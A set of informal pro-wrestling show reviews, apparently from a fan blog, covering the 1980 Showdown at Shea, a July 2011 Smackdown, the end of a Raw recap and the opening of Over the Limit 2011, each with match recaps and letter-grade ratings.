
Rating: D+. Man this was boring. The Spanish/English/JR thing is still confusing but again it’s WWE which at the moment is pretty stupid. I wasn’t into this match for the most part because it was just Del Rio vs. Cena and then a screwy ending. Not much to see here and another weak main event from Raw, which is becoming a tradition.

Post match Alberto tries to attack Cena but Cena hits an AA and starts counting. He hits Del Rio with the steps and counts to ten. Last man standing it is.

Overall Rating: D+. I guess they’re just waiting for Rock to come in and save us, but DANG these shows have been boring lately. What even happened here? We have a stipulation added to the main event that isn’t going to mean much. HHH is thrown out of a country that isn’t going to host the PPV so it’s not like that matters. Two matches were added to the PPV but they were nothing special either. I have no idea what the goal was here and the main event was stupid on top of all that. Announcers mean very little and it was way too focused on Cole again tonight. Bad show, but WAY better than last week.

Results
Mark Henry/Christian/Cody Rhodes b. Randy Orton/Sheamus/John Morrison – World’s Strongest Slam to Morrison
Eve Torres b. Natalya – Moonsault
CM Punk b. The Miz – Rollup
Zack Ryder b. Jack Swagger – Rough Ryder
Dolph Ziggler b. Mason Ryan via DQ when Ryan wouldn’t stop beating Ziggler
John Cena/Jim Ross b. Michael Cole/Alberto Del Rio – Ankle lock to Cole

 

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Showdown At Shea – Now THIS Is A Big House Show

Showdown At Shea
Date: August 9, 1980
Location: Shea Stadium, Flushing, New York
Attendance: 36,295
Commentators: Michael Cole, Mick Foley

FINALLY! This is a show I’ve wanted to do for well over a year now and until now I have never been able to find a copy of it. The commentators obviously aren’t from the right era but the original show had no commentary so this is all we’ve got. There were actually three Showdowns at Shea. The first one had a 75 minute draw between two faces for the world title (Morales vs. Sammartino) and the second had the famous Ali vs. Inoki fight (not at the stadium but played on the video screen there).

This one however is the most famous one with the first major Hulk vs. Andre match with the roles reversed and the match that won match of the year in PWI: Larry Zbyszko vs. Bruno Sammartino in the blowoff to a BIG feud in a cage. This is another one of those really glorified house shows but it’s a famous one and it’s nearly a holy grail to me so let’s get to it.

According to WWE 24/7 this is rated TV-14. Make your own jokes.

There’s no special opening here as it’s just Vince doing the in ring announcing and Cole welcomes us to the show. Cole is talking over Vince which today is grounds for death. It’s kind of annoying though as we can’t really tell what Vince is saying. The mat is red/purple which is weird looking.

Angel Marvilla vs. Jose Estrada

There were two matches before this, neither of which meant anything. To give a sign of the times we’re told why Fink isn’t there: he was on loan to Jim Crockett for his TV show. Can you imagine Jerry Lawler popping up on Impact for a loan? The looking back aspect of the commentary is very interesting as we hear about the high level of Puerto Rican wrestlers on New York cards which is true.

It’s so weird seeing no crowd around the arena and grass there instead. This is just weird to see as the wrestling is pretty bad but it’s just an opener here. The crowd sounds dead but the problem is that the crowd is so far away you can’t really hear them. They’re not bored though or at least I wouldn’t believe they are. The commentary is recorded in 2008 as Foley talks about the differences between modern wrestling style and the much slower paced stuff back then.

Estrada sends him over the top to the apron with a dropkick. I’m trying to talk about the match but like I said the wrestling is pretty weak here. Also the commentary here is one of the real highlights here as it’s rare that you can hear commentary recorded after the fact. Jose’s son was Edge’s first opponent and Edge nearly killed him, literally. Foley has never seen the main event tonight which should be interesting. Angelo hits a running flying headbutt for the pin. Vince’s microphone doesn’t work and he takes about a minute to get into the ring which Cole and Foley make a lot of fun of. Yeah they knew Vince wasn’t going to watch this.

Rating: D-. Match sucked but the commentary is the real treat here. I have a feeling that’ll be a running theme tonight too. These two were just out there as an opener and as odd as it is to say this they were there because they were Puerto Ricans. Those are Foley’s words mind you so don’t get on me for saying that. This wasn’t much of a match but it got the show started and something had to do that.

We skip a women’s tag match which had Moolah and three other girls. I’m not skipping them mind you. They’re simply not on the video although they happened.

Dominic DeNucci vs. Baron Mikel Scicluna

Now THIS should be interesting as Dominic trained Foley. I’ve never seen one of his matches so I’m new here too. The Baron kind of sucks but whatever. Notice a lot of the foreign wrestlers here as we’re on our second televised match and there hasn’t been a single white man. It was a different time to put it mildly and I’m kind of surprised by it since you would think it would have gone the other way and gotten more diverse.

The Baron is in the Hall of Fame for NO reason at all. His highlights listed on Wikipedia include one reign as a tag champion. Yep that’s it. Vince’s mic, now working, has a loud echo in the big stadium. Baron is loudly booed and Dominic is cheered which Foley calls a pop. Clean break in the corner to start as these guys look a lot alike other than their tights being different colors.

We talk about the ethnicity stuff again which is rather interesting. We make fun of Baron having a HUGE Malta contingent of fans which allows Foley to cater to history geeks. Baron gets rammed into the post twice which is fine with the referee for no apparent reason. Wait Dominic is in the red? How did I get that confused this whole time? Baron goes for a foreign object in his trunks resulting in a lot of jokes about something else in his trunks.

Foley talks about how Baron influenced his most famous trademark as Baron was known for REALLY overdoing his pulling out the foreign object, which inspired the way Foley would pull out Socko and look like he was trying to scratch his knee and then reach the ceiling. As you can see the wrestling here continues to mean nothing of note. The wrestling back in this era was for the most part just two guys in the ring having matches with no real story or angles going on.

Cole and Foley talk about early 80s television shows and what the actors are doing today. Dominic gets a sunset flip (which I remember reading about Foley FREAKING when he learned) and lays on his back instead of leaning forward for the pin. The time is announced at 6 minutes which the commentators talk about feeling FAR longer and I can’t say I blame them.

Rating: D. Another boring match although better than the first one. Again the commentary is far more interesting and is making this stuff watchable. Things should pick up later with better talent and matches that have feuds behind them coming up. Not much as far as wrestling goes here especially the ending but it wasn’t horrible.

Two more matches skipped, one of which had Greg Gagne so be glad it was skipped. The other had Pat Patterson vs. a Japanese guy that isn’t well known at all. Given the amount of time we’ve got left on this show, something tells me we might see these later on.

WWF Junior Heavyweight Title: Tatsumi Fujinami vs. Chavo Guerrero

Where to begin with this one? This is the equivalent of the Cruiserweight Title and the guy that holds it primarily wrestles in Japan. Fujinami is a GREAT wrestler for those that have never seen him and is one of the best lighter guys ever. Chavo is of course Chavo Guerrero’s father and was known a few years back as Chavo Classic in WWE. This title would move to Japan permanently soon after this and should not be confused with the Light Heavyweight Title which also was in Japan and Mexico for about 15 years and became part of the J-Crown which was defended in WCW in the mid-90s.

Oh yeah we have a match to see here. It’s getting noticeably darker here as you can tell we’ve skipped some stuff. Chavo is challenging here. There are also no entrances as when the announcements start the guys are already in the ring. The upper deck is nearly empty in a shot Vince likely won’t be thrilled with. Again notice the lack of Caucasians. Cole says he doesn’t know if the fans will like this or not because it’s just not what they’re used to which is probably true.

Cole calls Chavo vs. Chavo Jr. one of the more interesting stories in WWE history. Never let it be said that Cole understates anything. We get a Brian Hildebrand reference of all people as he’s more commonly known as referee Mark Curtis. Crowd is more or less silent here. All kinds of lucha and high flying stuff here which pops the crowd loudly. And so much for that as we go back to technical stuff and basic striking.

Cole and Foley discuss the mentality of a midcard worker who knows the fans are there to see the main event and not you. Foley also points out that the fans are likely to file in late because they only care about the main event which would explain a lot of the empty parts of the stadium. Fujinami hits a suicide dive which was INSANE stuff back then. Chavo goes for one as well but catches himself on the rope when he sees Tatsumi is gone.

This commentary is very interesting as you’re getting a lot of history and behind the scenes stuff that you would NEVER hear on Raw or Smackdown. Foley even mentions wrestling NEWSLETTERS and people talking about wrestling on the internet today. Imagine that being talked about seriously on Raw. I know I’m harping on that a lot but it’s by far and away the most interesting part of the show.

Foley talks about Japanese wrestling magazines that would come out within days of major shows with full color photographs. That’s rather impressive. We also hear about the silent crowds in Japan which takes a lot of getting used to. We hit the mat as I remember we have wrestling going on. It’s so weird to see the matches being such stuff in the background for the most part. Airplane Spin by Fujinami sends Chavo down.

Chavo hits a flying shot to the face and Foley is like oh crap we’ve got a good match here so I’ll finish my stories later. We get back to back rollups as Foley says how rare rollups and speed like this was which is true. Fujinami gets an awesome rollup for the pin and the referee doesn’t signal at all so it’s rather confusing. It’s the same thing Brian Pillman beat Jushin Liger with at Superbrawl II if you REALLY want to know what it looked like for some odd reason. Vince says he’s still World Wrestling Federation Champion.

Rating: C+. Not a great match but FAR better than what we’ve seen so far. This would be decent by today’s standards but this was ground breaking back then as no one knew what to think of guys flying around like that and moving so fast. The flying moves were solid too but they were like toppings on a pizza if that makes sense with the mat work being by far and away more important and prominent. Best match of the night by a mile though.

WWF Martial Arts Championship: Antonio Inoki vs. Larry Sharpe

Apparently these are shoot fights and Vince calls it the National Wrestling Federation Heavyweight Championship but that’s the only source I see that says that. Granted having Vince as your source kind of ends anyone else. I’m not going to try to explain the history and lineage of this title as it wound up in Japan and was never mentioned again after about 1985.

Ok we’re not going to have rounds or anything here. Inoki is called the most popular Japanese wrestler in the world ever which is a thread for sure. Foley tells a cool story about being in Italy and people came up to him asking for Inoki tickets instead of wrestling tickets. Sharpe was a Memphis guy I think and is very blonde. Foley and Cole try to explain the Martial Arts Title which maybe this isn’t for. I don’t pretend to get a lot of Japanese stuff but I know enough to get by.

Yeah this is a regular wrestling match but I’m going to say it’s the Martial Arts Title anyway. We hear about the legendary Inoki vs. Ali fight which is more or less the screwed up grandfather of MMA. LARRY SHARPE RAN THE MONSTER FACTORY! I KNEW I had heard that name before! This is just a standard wrestling match as the commentary continues to be the highlight here.

Inoki busts out the kicks which apparently is what he used against Ali. Does Inoki ever age? He looks the same he looked when he went into the Hall of Fame this year. He’s currently the equivalent of a Senator in Japan. Inoki kicks a lot at the legs of Sharpe who makes a short comeback. Inoki kicks the heck out of him again, getting a HUGE reaction surprisingly enough. Sharpe FALLS off the top for a “splash” and the Enziguri…DOESN’T FINISH? Inoki is all OH NO YOU DIDN’T and hits another one, prompting Sharpe to fall backwards like an idiot. Pin is academic.

Rating: C-. Kind of boring here and the end was kind of weird but the match wasn’t horrible. Inoki’s reception surprised me a bit but seeing a legend like Inoki is always fun. In the post match announcement Vince calls it the Martial Arts Championship so maybe he doesn’t even get it. Match was ok but nothing great at all.

Ok now I KNOW we’re coming back to some of the matches later as next up is the tag title match which would mean we’re skipping the IC Title match and Hogan vs. Andre.

Tag Titles: Bob Backlund/Pedro Morales vs. Wild Samoans

Backlund is world champion and this is 2/3 falls. Basically this would be Cena/Orton vs. the tag champions if the tag titles were a big deal. Backlund is way over as is Morales. Vince says in the corner to his left are the champions. The corner is empty but who cares about little things like those? According to Foley it’s FAR more interesting to talk to Backlund than to Afa, which doesn’t surprise me at all.

As far as the relations here, Afa and Sika are brothers I believe. Afa’s kids include Samu and Manu while Sika’s son is Rosey and he has another son in FCW. More or less picture it like this: if they’re Samoan and a wrestler, they’re probably related to each other. Cole talks about Pedro being a former WWE Champion which makes me think of him holding the spinner belt. We get some discussion of the New York curfew which meant that no wrestling could happen after 11. Matches would just stop at that time due to state laws. Imagine a big match just stopping at that point.

This is being written hours after the final NXT show on Syfy and there was a This Week in WWE History segment about a Cactus Jack vs. HHH match. Oddly enough Foley and Cole discuss that very match here in a very funny story about Captain Lou wandering down to ringside while the two guys were brawling in the crowd. Apparently Vince and Cole were in the gorilla position (Cole’s words) and Vince looked at him and said “Did Captain Lou just walk to the ring?” “I believe he did.” “Just checking.” Far funnier than it sounds.

We get the famous Samoan nerve hold on Backlund as this has been far more interesting and far more modern of a style match. We get a good example of what a manager can do as he holds Backlund’s tights to keep him in the corner so Sika can beat on him. Foley gives us a rather interesting history of managers. He really knows what he’s talking about as this is the area and company he grew up with. Backlund gets the Atomic Drop (his finisher. It was a much simpler time obviously) and Morales gets an O’Connor Roll (run the other guy into the ropes and roll him backwards into a rollup. You’ve seen it a thousand times. Bret likes to do it.) for the first fall.

Vince flat out screws up and says we have new champions prompting a very interesting question from Foley: who yells at Vince when he screws up? Vince booked the match, Vince made the announcement and he’s told the referee made it 2/3 falls. HUGE BULL chant starts us off. The Samoans beat up Morales before the second fall. THE FREAKING COPS TAKE ALBANO OUT! In the biggest city in the country in the middle of the summer, there was NOTHING better for them to do???

Foley starts having a sandwich because he saw Don Muraco do it as everything goes insane. Backlund gets a Piledriver on Sika to bring in both other guys. The commentary here is cracking me up. Backlund goes for a belly to back on Sika but Afa hits him in the head, prompting Backlund to…..fall backwards and drive Sika into the mat in a belly to back suplex. Pedro hits a dropkick on Sika so Backlund can pin him. They would have to forfeit the titles because Backlund couldn’t hold the tag and world titles so the Samoans got them back.

Rating: B. Most fun any of the matches so far tonight have been with the crowd being WAY into it and the guys having a great time out there. This worked as all four guys were pretty solid if not very good in the ring. The booking is a bit odd if they were just going to give the titles back to the Samoans. Why not a disqualification or something like that?

I was right. We’re doing some of the other matches.

Pat Patterson vs. Tor Kamata

We get one of the first wide shots and in case you’re curious the middle of the ring would be about where second base is. Kamata jumps him before the bell starts and is a rather fat man. He misses a top rope splash and Patterson takes over. Foley makes fun of Pat’s speech issues which are always funny. We talk about the Boot Camp match (go find that match. It’s against Sgt. Slaughter. Find the Alley Fight too as both are classics) to fill some time. Kamata throws powder at Patterson but it hits the referee for the DQ. WAY too short.

Rating: N/A. Fun while it lasted but nothing of note really. Patterson gets a big pop for the win.

Fabulous Moolah/Beverly Shade vs. Peggy Lee/Kandi Malloy

I only know one of them either. I think the card I have might be out of order. Or maybe the tape is out of order. It’s so weird seeing Vince doing Fink’s job. All one pieces for them here and Moolah with the black hair. Apparently Foley toured with Peggy Lee in some indy company in Africa. Well ok then. We hear about Moolah’s 28 year title run which is hilarious.

Match is a mess of course other than Moolah here. Foley sings a song for Peggy which I think is an Buddy Holly number. Ah yes it is but instead of Sue he says Lee. Foley points out that Moolah trained most of the women which is why so many of them wrestled exactly the same. Nothing of note is going on here of course. Double leg locks by the non-Moolah team. Moolah is just like screw this and beats up Lee and hits a backdrop of all things for the pin.

Rating: F. Cole and Foley rip the match apart afterwards, not even trying to make this sound like anything serious and I can’t say I blame them. Moolah was the only thing worth anything here.

Intercontinental Title: Ken Patera vs. Tony Atlas

This is pre-jail for Patera so he’s blonde and still kind of awesome. Atlas is Mr. USA and a generic strongman. Surprisingly good reaction for Atlas. This sums up Patera very well: before Mark Henry, there was Ken Patera. Just with a lower level of suck that is. Atlas is RIPPED with a body that makes John Cena look like Yokozuna. He throws Patera through the ropes on a kickout. Keep in mind Patera weighs about 270.

Foley goes into this insane story about how he remembers the Atlas/Johnson title win and how a strange set of circumstances that night led to him being world champion. Cole is ON IT tonight, talking about how the guys are doing everything in much more dramatic fashion because there’s no video or anything like that so the view you have from the stands is all you have. That’s something I wouldn’t have thought of but it’s very true.

We then get something I’d bet you will hear on a maximum of three other WWE produced shows ever: Foley says a lot of the matches aren’t that good. How many times can you remember someone that flat out saying a show has been bad for the most part? Vince would call the worst matches ever “extraordinary” or something like that while Foley is sitting here saying this show hasn’t been very good. He’s absolutely right which is very nice to hear for a change, especially from someone that knows what it’s like to be out there.

Full nelson goes on but Atlas gets the ropes. The announcers don’t talk about the matches at all and are just telling stories about how their memories of these guys which is really fun to hear. It’s nice to hear guys that love this stuff just sit around and talk about wrestling rather than put things over. We get an interesting issue as the fans chant USA for Mr. USA Tony Atlas. Keep in mind Patera was a legitimate Olympian.

Cross body gets two for Atlas as Cole runs down the history of Shea Stadium. We hit the floor for some brawling and Patera is in trouble. This is a big brawl for the most part and we get a bell as Patera stays outside too long. Foley calls the finish unsatisfying. Atlas gets on the mic and wants more but the champion runs.

Rating: C-. Not very good but fun. Power vs. power is easy to do and this worked fine. Both guys oversold everything which is the idea here and it worked rather well. Not great or anything but fun which is what the idea is supposed to be here. Atlas was pretty decent actually.

Ivan Putski vs. Johnny Rodz

Please….make it quick. Vince calls the wrestlers the principles. Putski is your Polish ethnic dude. Rodz is a trainer and Foley worked out with him for awhile. Rodz, the brilliant mind that he is, said Foley had no future. His reason? He couldn’t kick properly. Foley asks why Cole doesn’t talk about his legitimate news reporting stuff. Without missing a beat, Cole says “because no one cares?” He’s nothing if not self-aware.

We hear some about it and Cole being in Berlin for the fall of the wall and Foley says that it has nothing on Putski using a bearhug! Mick says Cole should talk about his credentials more and work in Rwandan genocide references in on Raw. How do you respond to that? Cole doesn’t, going back to making fun of the match. Putski just goes OFF and hits the Polish Hammer (running double axe to the chest. The guys sell it like JR calls a Stunner) for the pin.

Rating: D-. As I’ve said all night, the match was crap but the commentary was great. Foley and Cole have some awesome chemistry and we’re hearing a lot more from Cole than you usually would. He’s a likeable guy here and sounds like someone that it would be really fun to talk to about a bunch of different things.

The Hangman vs. Rene Goulet

Hangman is a generic guy and Goulet is more or less a career jobber. The commentary is great here as Goulet is famous for losing all the time and Hangman is someone even Foley doesn’t know. Goulet is wrestling with a torn bicep here because he wasn’t given time off for surgery. We hear about a charity softball game during the ECW Invasion. What the heck?

Cole says he’s sang Cena’s theme song with Cena in karaoke and sang Another One Bites the Dust with Patterson. WOW. Foley freaks on Cole about how he’s ignoring HANGMAN VS. GOULET! We talk about Hogan vs. Andre and the cage match which is just funny. Cole asks Foley about the Pope leading a prayer here in the 70s. Foley: *dead silence* that’s the stupidest question I’ve ever heard! I had to stop the tape from laughing so hard at that.

We’re told this is a popcorn match as this is some of the best commentary as I can ever remember. Goulet is pretty boring and Hangman isn’t any better. DEAD crowd. Cole says the Hangman is the forerunner of a lot of failed gimmicks in the future. See what I’m talking about? We talk about serial killers and rats to fill some time as a hot shot ends it.

Rating: F. Match was boring but I didn’t see much of it due to laughing so much. I’d love to hear some commentary on other matches like this later on. We still don’t know who Hangman is and we go to highlights of the match. Uh…why?

Hulk Hogan vs. Andre the Giant

Yeah this works. Hogan has the traditional colors on but is a heel here. Cole keeps talking about Mania 3 and their FIRST MATCH EVER! This show and match was a big blow to Hogan’s ego that he lies about to this day. He claims that he and Andre drew this house but for the whole summer this and Larry/Bruno were the top feuds. One time was Hogan/Andre the top listed match and it got about 40% of a house full. 3 months later they came back and did the traditional listings resulting in a full house. Real World: 1, Hogan: 0.

It’s so weird seeing the yellow and red as heel colors. Foley fought Andre in Japan. I never knew that. Those ropes are LOOSE. Black elbow pads for Hogan which is a weird look. Hogan with a headlock to start as it’s a long feeling out process. Far different match than you would get at Mania. Foley talks about being at a Harley Race BBQ where Race has a picture of him slamming Andre. Take that Hulk!

We get some cool Andre stories which are just amazing every time. Hogan has a hairy back. Now that’s a weird one to write out. Bearhug by Hogan and this is a very slow match. Andre blocks a slam with a hammerlock. Down goes the referee as Hogan gets slammed. Hogan slams Andre and it’s just a normal move other than Cole and Foley babbling about it. Funny though. Andre gets a splash and a tainted count to win it from another referee. He got out but the referee counted it anyway.

Rating: D. Boring match here but these two are always fun together. This is the unspoken match as everything that Vince didn’t want you to know about at Mania time happened here. This was quick and more or less harmless though. I’m very surprised that this went so fast though, not even getting 8 minutes. Andre got busted open after the match.

Larry Zbyszko vs. Bruno Sammartino

Wrestling 101 here: Bruno was the mentor, Larry decided he had surpassed the teacher, teacher kept being the star, student attacks the teacher, they go to a baseball stadium and have a wrestling match in front of 36,000 people in a box with no lid on it. Tale as old as time. Old school cage here, as in the kind they have now. NUCLEAR heat on Larry. Bruno gets the only entrance of the night.

We even get clips of Zbyszko’s heel turn which is WAY rare. Bruno jumps him to start and Larry hits the cage 3 times in about 5 seconds. You can only go through the door here and not over the top for no apparent reason. Apparently Larry talks about this match to the point of annoyance. Low blow gives Larry a chance to breathe as this has been very intense so far.

Foley makes another interesting point: Bruno headlined all three Shea shows and only once was world champion at the time. That’s saying a lot. This is the first match with an angle and the crowd clearly knows it. We get into a discussion about whether Bruno would be successful today and the commentators say yes because he was the people’s man. You know, like that blue collar guy that represented the hard working everyman who didn’t like his boss. Someone you could have a beer with. Or maybe a case of them if you get what I’m talking about. Yeah I think Bruno would have worked today.

Almost all Bruno so far. Now we talk about Stan Hansen inspiring Foley to sleep with his wife. Ok then. We hear about Larry and Foley driving together and Cole says how would they get a word in edgewise? Foley says he only talks over Cole because he’s smarter than Michael is. Nice line! Bruno’s arm is bleeding so Larry punches away at it. After nearly ten minutes Larry makes the first attempt at the door, naturally not getting there.

We get into a semi-argument over whether or not Foley ever worked out. Foley seems genuinely ticked off about that and I can’t say I blame him. Bruno wakes up and beats the tar out of Larry, kicking him in the head one more time and walking out to win it definitively. Bruno beats on him some more after the match ends

Rating: C+. Solid match for what it was supposed to be which was a big time brawl. The fans loved it and Bruno decisively won. What more can you ask from them? This was a blowoff to a feud and that’s what they did. There’s nowhere for this feud to go from here and it ended. That’s what gimmick matches are for. LEARN THIS RUSSO!

Overall Rating
: C+. The wrestling sucked but the commentary and atmosphere MORE than make up for it. This is probably the most interesting commentary I’ve ever heard as it’s really like hearing a director’s commentary on a DVD. It wasn’t about what was happening in the ring but rather about what was happening at this time and some very cool insight that you never get in regular shows. If you want to see this show good freaking luck finding it, but I’d recommend listening to it rather than watching it, which is a weird thing to say but very true. Recommended though and 85%+ of that is for the commentary.




Smackdown – July 22, 2011 – One Long Street Fight

Smackdown
Date: July 22, 2011
Location: Target Center, Minneapolis, Minnesota
Commentators: Michael Cole, Booker T, Josh Matthews

Money in the Bank is over and the question is simple: can Christian make it through one whole show as world champion? He won the title from Orton in the first instance I can ever remember where the “if the champion gets disqualified he loses the title” stipulation actually worked. Also Daniel Bryan now has the MITB case so there’s always the chance of a cash in starting tonight. Let’s get to it.

We open the show with Orton sitting in a chair in the middle of the ring. His says his name is Randy Orton. I wonder if he loves to fight. Although there’s a lot going on in the WWE at the moment, this show isn’t going anywhere until his issue with Christian is settled. We get a clip of Orton destroying Christian post match and here’s the new champion.

Christian wants to know what unfinished business Orton is talking about. Orton says as long as Christian is breathing there’s unfinished business. Christian thinks the unfinished business is with the voices Orton has in his head. Orton says Christian has been hiding behind a team of lawyers but Christian says Orton simply broke the rules. Christian says that he’s been fighting incompetence for a long time now and also the unseen forces that keeps Randy on top. He’s beaten them all though and is now a two time world champion.

There won’t be a celebration tonight because nothing has changed over the last few months. He’s not going to talk to these people because they still treat him badly. Orton says these people are going to see him beat Christian tonight because he wants his rematch. Christian says no because rematches don’t grow on trees. Is he new here or something?

The champ says he’s going to leave and talk to his lawyers about the situation. Orton comes after him but here’s Teddy of course to break that up. Teddy says Orton will get his rematch but not tonight because he has Kane in a street fight. Orton needs to be the bigger man and that just doesn’t happen. He takes Christian down and hammers away for a bit until the referees pull him off. Christian gets in Teddy’s face but Teddy says get to the ring because Christian has a match with Big Zeke right now.

Ezekiel Jackson vs. Christian

Non-title here. Jackson comes out after a quick break. Christian immediately heads to the floor to hide for a bit. They get into the ring and no mention has been made yet of their ECW days. Total power game from Jackson to start us off and a long gorilla press slam puts the Canadian down. Jackson slams him again and sends him to the floor as we take a break. Back with Jackson slamming Christian into the announce table on the floor.

Christian ducks low and Jackson eats steps and the momentum shifts. That gets two back in the ring. Christian uses some basic stuff but Jackson gets a shot to the ribs and takes over one more time. Actually scratch that as Christian nails him in the ribs and stops the momentum. Booker says Christian can pull this off. He’s the world champion. Shouldn’t it be Jackson that can pull this off?

Off to a chinlock and it’s Jackson in trouble again. Jackson escapes with a Samoan Drop and starts firing off clotheslines. Christian avoids one but can’t hit the Killswitch. Here come the slams but Christian escapes and goes to the knee. Killswitch doesn’t work again and Jackson gets him on his shoulder. Jackson charges shoulder first into the post though and the Killswitch ends this at 6:39 shown of 10:09.

Rating: C. Match was fine but I really don’t get the need to have Jackson lose again. Isn’t there some non champion midcarder that could have done this? It’s not like Jackson should have beaten him but I don’t get the point in having him lose like that. Christian needed the clean win over someone though so that was fine for the most part.

Here’s Cole to bring out Daniel Bryan. Cole says it was a fluke win at MITB and Bryan says he doesn’t care what Cole says. Cole makes fun of Bryan for being all valiant but he knows Bryan is going to cash in like everyone else has: when the champion is down and out. Bryan doesn’t deserve to have that case. Bryan says Cole didn’t deserve to be in a featured match at Mania. No one deserves anything in this company and he’s earned his spot over the last 12 years.

He lists off some of his injuries such as a detached retina and not being able to hear out of his left ear due to being kicked in the head so much. However he won’t quit because he’s dreamed of being WWE Champion since he was a kid. The person who holds the case can cash it in whenever and wherever they want. Bryan however is going to cash it in at Wrestlemania. I’ll believe that when I see it. Heath Slater of all people comes out and calls Bryan a loser.

Heath Slater vs. Daniel Bryan

Slater starts off in trouble and has to escape the LeBell Lock by going to the floor. We take a break and come back with Bryan tossing him around with an armdrag. Bryan is now in the top of Booker’s Fave Five now. Slater throws on a headlock and takes over. Hard whip into the corner puts Bryan down. Bryan starts fighting back and the crowd is cheering so hard that they’re not even moving.

Booker says Slater has the same amount of charisma as a bowl full of turnips. Slater puts him down again as Cole keeps saying it was a fluke. Back to the chinlock as Booker and Cole get into their bickering again. Josh as usual gets us back to the match because he’s the responsible one. Bryan makes a comeback with a flying forearm and both guys are down. Daniel lowers his head and gets kicked in the face for his troubles.

Slater charges at him and goes crashing to the floor. Bryan hits a running kick from the apron and back inside we go. Missile dropkick gets two. Slater grabs a spinebuster for two. Pinfall reversal sequence gets some two counts for both guys. Bryan sets for what looks like a tornado DDT but goes into a guillotine choke instead for the tap at 7:25 shown of 10:55.

Rating: C+. Good match here as Bryan got to showcase himself pretty well. This is what he needs: matches where he can show off his skills and get the win at the end because since he lost the US Title he hasn’t done much. He’s gotten a little resurgence leading up to the MITB win so it’s not totally out of nowhere but he needs some resume building wins.

We recap Big Show vs. Henry at the PPV where Henry hurt Show’s leg post match.

Henry says the destruction will never end because the attack on Show gave him a pleasure. If it sounds like he’s talking about himself, it’s because he is. His words there, not mine.

We get the Vince/Cena/HHH video from Raw which eats up about ten minutes. Josh wouldn’t say Punk’s name leading into the segment.

Sheamus vs. Wade Barrett

Fallout from the MITB build here. The announcers touch on Cara being out due to the “injuries” he suffered in the ladder match. Sheamus hammers him down to start but Barrett gets his foot up in the corner to take over. Cole says Sheamus has a degree in computer technology and Barrett has one in marine biology. Never would have guessed those. Wade chokes Sheamus out on the top rope and then kicks pale boy to the floor.

That gets two back in the ring. Barrett has been dropped from the Fave Five. We get a Harvey Whippleman reference for no apparent reason. Sheamus grabs the Irish Curse for two. He pounds away even more like the brawler he is and they head to the floor. It turns into a slugout and neither guy can really get an advantage. They fight to the announce table and it’s a double countout at 4:29.

Rating: C+. I like big man brawls like these where they don’t really care about the pin and it’s about the fight. Neither guy could really lose here so the ending was the right idea. I’d like to see more of this but then again I like both guys. Either way, fun brawl that probably will lead to something more from them later.

They keep fighting post match and Barrett tries Wasteland, only to take the Brogue Kick to leave Sheamus standing tall.

Kane says he’s going to unleash his pain and misery tonight. Lately he’s been haunted and tonight he’s going to try to escape that. He’s been feeling too human lately and doesn’t like it at all. He uses the Devil’s Favorite Demon line for the first time in many months.

Randy Orton vs. Kane

This is a street fight. They have a ton of time left to do this also. Kane fires away to start and beats Orton down in the corner. Orton gets a boot up though and there’s the Thesz Press. Kane grabs him by the throat but Orton counters into a failed RKO attempt. Out to the floor we go They fight up the ramp and neither guy can get much of an extended advantage.

Orton rams Kane into the railing and finds a kendo stick. He’s getting all googly eyed and slides back in so he can bust out the elevated DDT. That fails completely and Orton is sent back over the top and out to the floor. Orton goes into the railing as we take a break. Back with Kane still in control and getting a two count. Orton low bridges Kane to send him to the floor but jumps into an uppercut.

Kane sets up the announce table but Orton escapes the chokeslam attempt. Orton climbs up onto the table to escape but it falls forward and Randy is holding his knee. He’s up again but he’s limping. Kane’s knees go into the steps in a wicked shot and Randy hammers away. Orton puts Kane’s leg on the step and stomps it into the steel and then slams the steps down onto it. We take another break and come back with Orton hammering away at the leg/ankle.

Kane fires off a big boot to take Orton down. He goes up but Orton avoids him and sends Kane’s shoulder into the post. Elevated DDT hits and it’s RKO time. That doesn’t work and Kane hits the side slam for two. Now the big clothesline hits and Kane calls for the chokeslam. Orton is like screw that and grabs an RKO out of nowhere for a VERY close two. Kane can’t get up so Orton sets up the Punt. The Big Bald pops up and hits a chokeslam for two.

We take an almost unprecedented third break as this match is going to get 20 minutes minimum. Back with Kane picking up a chair. He drills Orton four times with it and loads up a tombstone onto it. Randy escapes that and also escapes a chokeslam onto it. The RKO onto the chair ends this at 14:08 shown of 25:38 (remember that I assume 3:30 per break so the match could have been much shorter or even a bit longer).

Rating: B-. This was good but not great. For a TV match it took up a very long time which probably wasn’t a great idea. They never really hit a high gear but the match itself was fine. I do kind of question giving this so long and giving Barrett vs. Sheamus four minutes as you could have balanced this out a lot better. Still though, good stuff for a long match.

Post match Kane takes his glove off and shakes hands with Randy. I don’t ever remember seeing his right hand. Kane gets up after Orton leaves and the fans applaud him. Geez another turn for the Big Bald? Mark Henry comes out before Kane can leave though and he doesn’t look nice. Remember Kane has a very bad knee here and can barely stand. Kane fires off on him but Henry takes the knee out. Henry gets him down as I guess Kane’s new buddy Orton doesn’t need to help Kane. Kane gets the same treatment Show got at the PPV.

Overall Rating: B. This was an odd show at times as not a lot happened. You had some long matches and a lot of wrestling, but at the same time a lot of people weren’t here at all and weren’t mentioned. The main event is long and probably too long for what it was. The ending is kind of weird as Henry claims another victim, but it keeps Henry’s push going. Either way, good show but not a classic or anything.

Results

Christian b. Ezekiel Jackson – Killswitch

Daniel Bryan b. Heath Slater – Guillotine choke

Sheamus vs. Wade Barrett went to a double countout

Randy Orton b. Kane – RKO onto a chair




Over the Limit 2011 – Nice Surprise. And Torture!

Over the Limit 2011
Date: May 22, 2011
Location: KeyArena, Seattle, Washington
Commentators: Jerry Lawler, Booker T, Josh Matthews, Michael Cole

It’s Over the Limit again which was a totally worthless show last year which is about what I’m expecting this year.  The main event is Miz vs. Cena in an I Quit match while on the other side you have Christian vs. Orton in their rematch.  The first match was good so this should be as well with more time and some experience to work with.  All in all though it looks weak but I’ve been wrong before.  Let’s get to it.

There’s a graphic saying in memory of Randy Savage to open us up.  Certainly better than nothing.

The opening video is about what the human body is capable of when it’s pushed over the limit.  Not bad but a bit basic.  Then again there isn’t much you can do with a theme like Over the Limit.

Rey Mysterio vs. R-Truth

 

Truth just has the one line to start his lack of music now.  The Truth is that it’s all about parking lots.  He got here today and didn’t have a parking spot so he had to park with the rest of the fans in the rain.  It’s a conspiracy and while he’s danced and pranced for all of the Little Jimmys, it’s gotten him nowhere.  He doesn’t play games like Rey Mysterio who wears that toy mask.  He’s taking Rey’s spot and that’s the Truth.

